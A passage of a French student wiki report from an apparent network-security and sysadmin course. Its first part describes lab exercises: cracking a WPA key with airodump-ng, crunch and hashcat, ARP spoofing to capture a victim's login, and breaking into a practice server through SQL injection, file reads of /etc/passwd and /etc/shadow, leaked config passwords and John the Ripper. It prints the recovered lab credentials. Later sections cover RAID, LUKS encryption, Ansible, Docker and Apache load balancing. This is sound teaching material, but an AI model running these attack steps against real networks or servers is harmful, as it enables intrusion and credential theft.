Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
